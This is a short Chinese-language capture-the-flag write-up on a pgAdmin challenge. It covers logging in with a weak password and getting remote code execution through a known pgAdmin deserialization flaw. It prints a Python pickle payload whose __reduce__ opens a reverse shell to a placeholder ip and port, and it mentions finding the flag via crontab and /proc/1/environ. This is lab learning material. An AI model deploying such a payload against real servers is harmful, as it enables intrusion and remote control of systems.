思路
这个题比较抽象,长话短说,getshell是很简单的,就是找不到flag(我是fw)
首先题目是pgadmin,在我写这个的时候题目已经有提示了,账号是tacooooo@qq.com,那密码自然就是tacooooo,弱密码登录
谷歌搜索pgadmin最新漏洞可以查到一篇文章,非常滴详细呀,而且登录进系统之后也可以看看pgadmin的版本,刚刚好可以用,照抄就可以拿到shell
解题
这里拿到shell的方式也不止一种,我自己用的是nc,但是LaoGong里面拿shell的方式感觉很有意思(我见识少了),是用的socket(这里copy一下,膜拜)
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle import os import pickletools
class exp(): def __reduce__(self): return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))
if __name__ == '__main__': c = exp() payload = pickle.dumps(c) with open('posix.pickle', 'wb') as f: f.write(payload)
|
在getshell之后死活找不到flag呀,官方wp的解法是用crontab -e 寻找隐藏起来的任务找到flag,非预期解则是在/proc/1/environ里找到
1 2 3 4
| 参考链接: https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g https://mp.weixin.qq.com/s/47gTvMnvv8iJuGAEsi8RPw https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
|